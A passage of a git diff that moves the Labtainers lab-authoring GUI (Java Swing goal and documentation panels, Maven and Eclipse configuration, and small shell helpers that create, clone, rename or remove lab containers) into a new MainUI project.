100644 index 1530dbb3c..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.java +++ /dev/null @@ -1,316 +0,0 @@ -package GoalsUI; - -import java.awt.Component; -import javax.swing.JFrame; -import javax.swing.JOptionPane; -import javax.swing.JPanel; - -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ - -/** - * - * @author Daniel Liao - */ -public class GoalsUI extends javax.swing.JFrame { - GoalsData dataUI; - - public GoalsUI() { - initComponents(); - LabNotExist.setVisible(false); - dataUI = new GoalsData(); - } - - /** - * This method is called from within the constructor to initialize the form. - * WARNING: Do NOT modify this code. The content of this method is always - * regenerated by the Form Editor. - */ - @SuppressWarnings("unchecked") - // //GEN-BEGIN:initComponents - private void initComponents() { - - ScrollPaneOfGoals = new javax.swing.JScrollPane(); - PanelofGoals = new javax.swing.JPanel(); - UpdateButton = new javax.swing.JButton(); - RemoveAllButton = new javax.swing.JButton(); - jLabel9 = new javax.swing.JLabel(); - CreateButton = new javax.swing.JButton(); - jLabel3 = new javax.swing.JLabel(); - jLabel1 = new javax.swing.JLabel(); - LabNameTextField = new javax.swing.JTextField(); - LabNotExist = new javax.swing.JLabel(); - - setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); - setBackground(new java.awt.Color(255, 255, 255)); - setMinimumSize(new java.awt.Dimension(1590, 500)); - setPreferredSize(new java.awt.Dimension(1110, 389)); - addWindowListener(new java.awt.event.WindowAdapter() { - public void windowClosing(java.awt.event.WindowEvent evt) { - formWindowClosing(evt); - } - }); - - ScrollPaneOfGoals.setAutoscrolls(true); - ScrollPaneOfGoals.setMaximumSize(new java.awt.Dimension(1300, 800)); - - PanelofGoals.setLayout(new javax.swing.BoxLayout(PanelofGoals, javax.swing.BoxLayout.PAGE_AXIS)); - ScrollPaneOfGoals.setViewportView(PanelofGoals); - - UpdateButton.setText("Update"); - UpdateButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - UpdateButtonActionPerformed(evt); - } - }); - - RemoveAllButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N - RemoveAllButton.setText("Remove All"); - RemoveAllButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - RemoveAllButtonActionPerformed(evt); - } - }); - - jLabel9.setFont(new java.awt.Font("Arial Black", 0, 12)); // NOI18N - jLabel9.setText("Lab Name: "); - - CreateButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N - CreateButton.setText("Create"); - CreateButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - CreateButtonActionPerformed(evt); - } - }); - - jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N - jLabel3.setText("Goal Type"); - jLabel3.setToolTipText("The mode in which a value is found."); - - jLabel1.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N - jLabel1.setText("Goal ID"); - jLabel1.setToolTipText("The symbolic name of the result, which will be referenced in the goals configuration file. \n\n(It must be alphanumeric, underscores permitted) "); - - LabNameTextField.setPreferredSize(new java.awt.Dimension(6, 25)); - LabNameTextField.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - LabNameTextFieldActionPerformed(evt); - } - }); - - LabNotExist.setFont(new java.awt.Font("Tahoma", 1, 14)); // NOI18N - LabNotExist.setText("Lab does not exist!"); - - javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); - getContentPane().setLayout(layout); - layout.setHorizontalGroup( - layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(layout.createSequentialGroup() - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addComponent(ScrollPaneOfGoals, javax.swing.GroupLayout.DEFAULT_SIZE, 1300, Short.MAX_VALUE) - .addGroup(layout.createSequentialGroup() - .addContainerGap() - .addComponent(CreateButton) - .addGap(10, 10, 10) - .addComponent(RemoveAllButton) - .addGap(98, 98, 98) - .addComponent(jLabel9) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(LabNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 378, javax.swing.GroupLayout.PREFERRED_SIZE) - .addGap(18, 18, 18) - .addComponent(LabNotExist) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 344, Short.MAX_VALUE) - .addComponent(UpdateButton)) - .addGroup(layout.createSequentialGroup() - .addGap(50, 50, 50) - .addComponent(jLabel1) - .addGap(89, 89, 89) - .addComponent(jLabel3) - .addGap(0, 0, Short.MAX_VALUE))) - .addContainerGap()) - ); - layout.setVerticalGroup( - layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(layout.createSequentialGroup() - .addContainerGap() - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addComponent(CreateButton) - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) - .addComponent(RemoveAllButton) - .addComponent(jLabel9) - .addComponent(LabNameTextField, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) - .addComponent(UpdateButton) - .addComponent(LabNotExist))) - .addGap(14, 14, 14) - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) - .addComponent(jLabel1) - .addComponent(jLabel3)) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(ScrollPaneOfGoals, javax.swing.GroupLayout.DEFAULT_SIZE, 317, Short.MAX_VALUE)) - ); - - pack(); - }// //GEN-END:initComponents - - private void UpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpdateButtonActionPerformed - update(); - }//GEN-LAST:event_UpdateButtonActionPerformed - private void update(){ - if(dataUI.isLoaded()) - dataUI.writeGoalsConfig(PanelofGoals); - } - - private void LabNameTextFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_LabNameTextFieldActionPerformed - loadLab(); - }//GEN-LAST:event_LabNameTextFieldActionPerformed - //Checks if the lab exists and will load lab's goals config if it does - private void loadLab(){ - dataUI = new GoalsData(getLabName()); - - if(dataUI.isLoaded()){ - LabNotExist.setVisible(false); - goalsPanelRedraw(); - } - else - LabNotExist.setVisible(true); - } - - private void CreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateButtonActionPerformed - createFreshGoal(); - }//GEN-LAST:event_CreateButtonActionPerformed - //Creates and loads a new goal row *Note: creating a new row does not automatically save the new row into the GoalsData(acti) - private void createFreshGoal(){ - if(dataUI.isLoaded()){ - dataUI.increaseRowCount(); - GoalPanels newGoal = new GoalPanels(this, dataUI); - PanelofGoals.add(newGoal); - PanelofGoals.revalidate(); - PanelofGoals.repaint(); - } - } - - private void RemoveAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveAllButtonActionPerformed - removeAllButton(); - }//GEN-LAST:event_RemoveAllButtonActionPerformed - private void removeAllButton(){ - if(dataUI.isLoaded()){ - if(JOptionPane.showConfirmDialog(null, "Are you sure you want to remove all?") == JOptionPane.YES_OPTION){ - removeAllGoals(); - dataUI.resetData(); - } - } - } - - private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing - checkUnsavedChangesMade(); - }//GEN-LAST:event_formWindowClosing - //Check if the the current state of the UI matches with what's saved in the goals.config - void checkUnsavedChangesMade(){ - if(dataUI.isLoaded()){ - dataUI.updateListofGoals(PanelofGoals); - - if(GoalsData.goalValuesDiffer(dataUI.getListofGoals(), dataUI.getGoalValuesOfConfigFile())){ - int confirmed = JOptionPane.showConfirmDialog(null, - "There are Unsaved Changes. Are you sure you want to exit the program?", "Unsaved Changes", - JOptionPane.YES_NO_OPTION); - - if (confirmed == JOptionPane.YES_OPTION) - dispose(); - else - setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); - } - else - dispose(); - } - } - -//General Methods - //Updates the list of goals and redraws them on screen - void refresh(){ - dataUI.updateListofGoals(PanelofGoals); - goalsPanelRedraw(); - } - - //Redraws the goals Panel - void goalsPanelRedraw(){ - removeAllGoals(); - for(int i=0; i < dataUI.getListofGoals().size(); i++) - loadGoal(dataUI.getListofGoals().get(i), i+1); - } - - //Removes all the goal lines for the lab *note: this doesn't update results.config until the user hits the update button - private void removeAllGoals(){ - Component[] componentList = PanelofGoals.getComponents(); - for(Component c: componentList) - PanelofGoals.remove(c); - PanelofGoals.revalidate(); - PanelofGoals.repaint(); - } - - //Load's the goals into GUI - private void loadGoal(GoalValues goalVal, int rowNum){ - GoalPanels newGoal = new GoalPanels(this, dataUI, goalVal, rowNum); - PanelofGoals.add(newGoal); - PanelofGoals.revalidate(); - PanelofGoals.repaint(); - } - - - - //Gets the labname - private String getLabName(){ - return LabNameTextField.getText(); - } - - //Gets the panel holding the goals - protected JPanel getPanelofGoals(){ - return PanelofGoals; - } - - - public static void main(String args[]) { - /* Set the Nimbus look and feel */ - // - /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. - * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html - */ - try { - for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { - if ("Nimbus".equals(info.getName())) { - javax.swing.UIManager.setLookAndFeel(info.getClassName()); - break; - } - } - } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | javax.swing.UnsupportedLookAndFeelException ex) { - java.util.logging.Logger.getLogger(GoalsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); - } - // - // - - // - - /* Create and display the form */ - java.awt.EventQueue.invokeLater(() -> { - GoalsUI newGoalsUI = new GoalsUI(); - newGoalsUI.setSize(1000, 1000); - newGoalsUI.setVisible(true); - }); - } - - - // Variables declaration - do not modify//GEN-BEGIN:variables - private javax.swing.JButton CreateButton; - private javax.swing.JTextField LabNameTextField; - private javax.swing.JLabel LabNotExist; - private javax.swing.JPanel PanelofGoals; - private javax.swing.JButton RemoveAllButton; - private javax.swing.JScrollPane ScrollPaneOfGoals; - private javax.swing.JButton UpdateButton; - private javax.swing.JLabel jLabel1; - private javax.swing.JLabel jLabel3; - private javax.swing.JLabel jLabel9; - // End of variables declaration//GEN-END:variables -} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.classpath b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.classpath new file mode 100644 index 000000000..47c4fb516 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.classpath @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.project b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.project new file mode 100644 index 000000000..feb938336 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.project @@ -0,0 +1,23 @@ + + + MainUI + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.m2e.core.maven2Builder + + + + + + org.eclipse.jdt.core.javanature + org.eclipse.m2e.core.maven2Nature + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.core.resources.prefs b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.core.resources.prefs new file mode 100644 index 000000000..654c1750c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.core.resources.prefs @@ -0,0 +1,3 @@ +eclipse.preferences.version=1 +encoding//src/main/java=UTF-8 +encoding/=UTF-8 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.jdt.apt.core.prefs b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.jdt.apt.core.prefs new file mode 100644 index 000000000..ec0c557e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.jdt.apt.core.prefs @@ -0,0 +1,2 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.apt.aptEnabled=false diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.jdt.core.prefs b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 000000000..d1d55d769 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,9 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.targetPlatform=14 +org.eclipse.jdt.core.compiler.compliance=14 +org.eclipse.jdt.core.compiler.problem.enablePreviewFeatures=disabled +org.eclipse.jdt.core.compiler.problem.forbiddenReference=warning +org.eclipse.jdt.core.compiler.problem.reportPreviewFeatures=ignore +org.eclipse.jdt.core.compiler.processAnnotations=disabled +org.eclipse.jdt.core.compiler.release=disabled +org.eclipse.jdt.core.compiler.source=14 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.m2e.core.prefs b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.m2e.core.prefs new file mode 100644 index 000000000..14b697b7b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/.settings/org.eclipse.m2e.core.prefs @@ -0,0 +1,4 @@ +activeProfiles= +eclipse.preferences.version=1 +resolveWorkspaceProjects=true +version=1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/addContainer.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/addContainer.sh new file mode 100755 index 000000000..67fa90ab9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/addContainer.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +cd $1 +cd $2 +new_lab_setup.py -a $3 -b $4 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/buildMainUI.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/buildMainUI.sh new file mode 100755 index 000000000..c8d875a3b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/buildMainUI.sh @@ -0,0 +1,12 @@ +#!/bin/bash +#1.4 + +export ANT_HOME=/PDFdata/library/apache_ant/ + +export PATH=$ANT_HOME/bin:$PATH + +ant -buildfile buildMainUI.xml main +if [ $? -eq 1]; then + echo "Failed on Build" + exit 1 +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/buildMainUI.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/buildMainUI.xml new file mode 100644 index 000000000..978e30999 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/buildMainUI.xml @@ -0,0 +1,48 @@ + + + + + + + Main UI to the Labtainers Framework that makes the labs and edits the start configs + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/callNewLab.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/callNewLab.sh new file mode 100755 index 000000000..5b8bdb00f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/callNewLab.sh @@ -0,0 +1,15 @@ +#!/bin/bash + +echo Current Directory: +pwd +cd $1 +echo Changed Directroy to: +pwd +echo Making lab: +echo $2 +mkdir $2 +cd $2 +new_lab_setup.py -b $3 +echo Made new lab: +pwd + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/cloneLab.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/cloneLab.sh new file mode 100755 index 000000000..04c920e52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/cloneLab.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +cd $1 +cd $2 +new_lab_setup.py -c $3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/editDockerfile.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/editDockerfile.sh new file mode 100755 index 000000000..2218a0a49 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/editDockerfile.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +gnome-terminal -- $1 $2 + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/images/labtainer5-sm.png b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/images/labtainer5-sm.png new file mode 100755 index 000000000..887084741 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/images/labtainer5-sm.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/lib/unknown/binary/AbsoluteLayout/SNAPSHOT/AbsoluteLayout-SNAPSHOT.jar b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/lib/unknown/binary/AbsoluteLayout/SNAPSHOT/AbsoluteLayout-SNAPSHOT.jar new file mode 100644 index 000000000..57662b002 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/lib/unknown/binary/AbsoluteLayout/SNAPSHOT/AbsoluteLayout-SNAPSHOT.jar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/nb-configuration.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/nb-configuration.xml new file mode 100644 index 000000000..747c494ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/nb-configuration.xml @@ -0,0 +1,19 @@ + + + + + + JDK_14 + ${project.basedir}/licenseheader.txt + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/pom.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/pom.xml new file mode 100644 index 000000000..ccbaae520 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/pom.xml @@ -0,0 +1,50 @@ + + + 4.0.0 + Labtainers + MainUI + 1.2-SNAPSHOT + jar + + + unknown-jars-temp-repo + A temporary repository created by NetBeans for libraries and jars it could not identify. Please replace the dependencies in this repository with correct ones and delete this repository. + file:${project.basedir}/lib + + + + + unknown.binary + AbsoluteLayout + SNAPSHOT + + + commons-io + commons-io + 2.8.0 + + + + UTF-8 + 14 + 14 + + + + + + org.apache.maven.plugins + maven-jar-plugin + 2.4 + + + + true + labtainers.mainui.MainWindow + + + + + + + \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/removeContainer.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/removeContainer.sh new file mode 100755 index 000000000..67db75cc5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/removeContainer.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +cd $1 +cd $2 +new_lab_setup.py -d $3 +cd dockerfiles +#delete the dockerfile associated with this container +rm Dockerfile.$2.$3.student diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/renameContainer.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/renameContainer.sh new file mode 100755 index 000000000..90f73741a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/renameContainer.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +cd $1 +cd $2 +new_lab_setup.py -r $3 $4 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/DocPanel.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/DocPanel.form new file mode 100644 index 000000000..e80f4c300 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/DocPanel.form @@ -0,0 +1,82 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/DocPanel.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/DocPanel.java new file mode 100644 index 000000000..6eac03b10 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/DocPanel.java @@ -0,0 +1,132 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +*/ +package labtainers.goalsui; +/** + * + * @author mike + */ +public class DocPanel extends javax.swing.JPanel { + + /** + * Creates new form DocPanel + */ + javax.swing.JDialog dialog; + boolean ok = false; + public DocPanel() { + initComponents(); + } + public void setDoc(String text){ + this.text.setText(text); + } + public String getDoc(){ + return this.text.getText()+"\n"; + } + public void setDialog(javax.swing.JDialog dialog){ + this.dialog = dialog; + } + public boolean isOK(){ + return this.ok; + } + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + jScrollPane1 = new javax.swing.JScrollPane(); + text = new javax.swing.JTextArea(); + okButton = new javax.swing.JButton(); + cancelButton = new javax.swing.JButton(); + + text.setColumns(20); + text.setRows(5); + jScrollPane1.setViewportView(text); + + okButton.setText("OK"); + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + cancelButton.setText("Cancel"); + cancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + cancelButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGap(296, 296, 296) + .addComponent(okButton) + .addGap(104, 104, 104) + .addComponent(cancelButton)) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 852, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 264, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(okButton) + .addComponent(cancelButton))) + ); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + this.ok = true; + this.dialog.setVisible(false); + }//GEN-LAST:event_okButtonActionPerformed + + private void cancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_cancelButtonActionPerformed + this.dialog.setVisible(false); + }//GEN-LAST:event_cancelButtonActionPerformed + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton cancelButton; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JButton okButton; + private javax.swing.JTextArea text; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalPanels.form similarity index 76% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.form rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalPanels.form index f3f16c0b9..9f2194ca9 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.form +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalPanels.form @@ -1,8 +1,8 @@ -
+ - + @@ -28,32 +28,39 @@ - - + + - - - + + + + + + - - - - - - + + + + + + + + + - - + + + @@ -76,8 +83,8 @@ - - + + @@ -93,10 +100,10 @@ + + - - - + @@ -104,51 +111,51 @@ - + - + - + - + - + - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + - - - + @@ -161,9 +168,19 @@ + + + + + + + + + + - + @@ -318,6 +335,7 @@ + @@ -332,7 +350,7 @@ - + @@ -350,6 +368,16 @@ + + + + + + + + + + @@ -418,5 +446,13 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalPanels.java similarity index 75% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalPanels.java index 43a39f334..f521ee1ef 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalPanels.java @@ -1,50 +1,75 @@ /* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package GoalsUI; +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.goalsui; -import static GoalsUI.ParamReferenceStorage.GoalType_ITEMS; -import static GoalsUI.ParamReferenceStorage.Operator_ITEMS; -import static GoalsUI.ParamReferenceStorage.answerTypes; -import static GoalsUI.ParamReferenceStorage.goalInput; -import static GoalsUI.ParamReferenceStorage.opInput; -import static 